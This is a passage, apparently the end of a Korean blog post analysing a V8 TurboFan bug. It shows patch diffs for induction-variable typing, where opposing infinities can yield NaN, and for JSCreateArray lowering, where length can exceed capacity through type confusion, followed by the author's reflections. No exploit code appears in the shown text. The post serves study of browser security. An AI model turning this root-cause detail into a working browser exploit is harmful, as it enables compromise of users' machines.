// do not apply and we cannot do anything). - if (!both_types_integer || maybe_nan) { + // We only handle integer induction variables (otherwise ranges do not apply + // and we cannot do anything). Moreover, we don't support infinities in + // {increment_type} because the induction variable can become NaN through + // addition/subtraction of opposing infinities. + if (!initial_type.Is(typer_->cache_->kInteger) || + !increment_type.Is(typer_->cache_->kInteger) || + increment_type.Min() == -V8_INFINITY || + increment_type.Max() == +V8_INFINITY) { // Fallback to normal phi typing, but ensure monotonicity. // (Unfortunately, without baking in the previous type, monotonicity might // be violated because we might not yet have retyped the incrementing @@ -883,14 +877,13 @@ } return type; } - // If we do not have enough type information for the initial value or - // the increment, just return the initial value's type. - if (initial_type.IsNone() || - increment_type.Is(typer_->cache_->kSingletonZero)) { - return initial_type; - } // Now process the bounds. + auto res = induction_vars_->induction_variables().find(node->id()); + DCHECK(res != induction_vars_->induction_variables().end()); + InductionVariable* induction_var = res->second; + InductionVariable::ArithmeticType arithmetic_type = induction_var->Type(); + double min = -V8_INFINITY; double max = V8_INFINITY; @@ -946,8 +939,8 @@ // The lower bound must be at most the initial value's lower bound. min = std::min(min, initial_type.Min()); } else { - // Shortcut: If the increment can be both positive and negative, - // the variable can go arbitrarily far, so just return integer. + // If the increment can be both positive and negative, the variable can go + // arbitrarily far. return typer_->cache_->kInteger; } if (FLAG_trace_turbo_loop) {
Diff
여기서 주목해봐야할 부분은 아래와 같습니다.
- // We only handle integer induction variables (otherwise ranges - // do not apply and we cannot do anything). - if (!both_types_integer || maybe_nan) { + // We only handle integer induction variables (otherwise ranges do not apply + // and we cannot do anything). Moreover, we don't support infinities in + // {increment_type} because the induction variable can become NaN through + // addition/subtraction of opposing infinities. + if (!initial_type.Is(typer_->cache_->kInteger) || + !increment_type.Is(typer_->cache_->kInteger) || + increment_type.Min() == -V8_INFINITY || + increment_type.Max() == +V8_INFINITY) { // Fallback to normal phi typing, but ensure monotonicity. // (Unfortunately, without baking in the previous type, monotonicity might // be violated because we might not yet have retyped the incrementing
Diff
결과값이 NaN Type이 나올 수 있는 지를 나타내는 maybe_nan 변수를 없애고, increment_type의 값이 -Inf 혹은 Inf 가 나올 수 있는지를 둘 다 검사하는 것을 알 수 있습니다.
increment_typeRange(-Inf, Inf) 이어야 NaN 을 발생시킬 수 있지만, 위 검사에 걸려 kInteger Type을 반환하는 부분까지 도달하지 못하게 될 것입니다.

compiler/js-create-lowering.cc: JSCreateLowering::ReduceJSCreateArray

이 취약점은 6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a commit에서 패치되었습니다.
이전 commit과의 diff를 보면 다음과 같습니다.
diff --git a/src/compiler/js-create-lowering.cc b/src/compiler/js-create-lowering.cc index ff057a4..77da973 100644 --- a/src/compiler/js-create-lowering.cc +++ b/src/compiler/js-create-lowering.cc @@ -672,6 +672,9 @@ length_type.Max() <= kElementLoopUnrollLimit && length_type.Min() == length_type.Max()) { int capacity = static_cast<int>(length_type.Max()); + // Replace length with a constant in order to protect against a potential + // typer bug leading to length > capacity. + length = jsgraph()->Constant(capacity); return ReduceNewArray(node, length, capacity, *initial_map, elements_kind, allocation, slack_tracking_prediction); }
Diff
간단하게 lengthcapacity로 고정시키는 것을 알 수 있습니다. 이러면 Type Confusion이 발생하여 capacity보다 length가 크게 설정되는 상황을 막을 수 있습니다.

Review

분석하면서 정말 흥미롭고 재밌었습니다! ㅋㅋ
Browser Exploit 공부를 시작한지 얼마 되지 않아 잘못 설명한 부분이 있을 수 있습니다. 혹시 잘못된 부분이나 피드백, 궁금한 부분이 있으시다면 개인적으로 편하게 연락주셔도 좋습니다 ㅎㅎ
다음번에는 다른 V8 CVE를 분석해보거나, Renderer Engine인 Blink에 대해 공부해보고 싶습니다.
아니면 Safari의 WebKit도 공부하고 있는데, 이해도가 어느정도 충분해진다면 WebKit의 Javascript Engine인 JavaScriptCore의 CVE도 분석해보고 싶네요!
또 컴파일러 이론도 한 번 공부해보고 싶고.. 으아.. 공부하고 싶은게 많네요!
긴 글 읽어주셔서 감사합니다.

Reference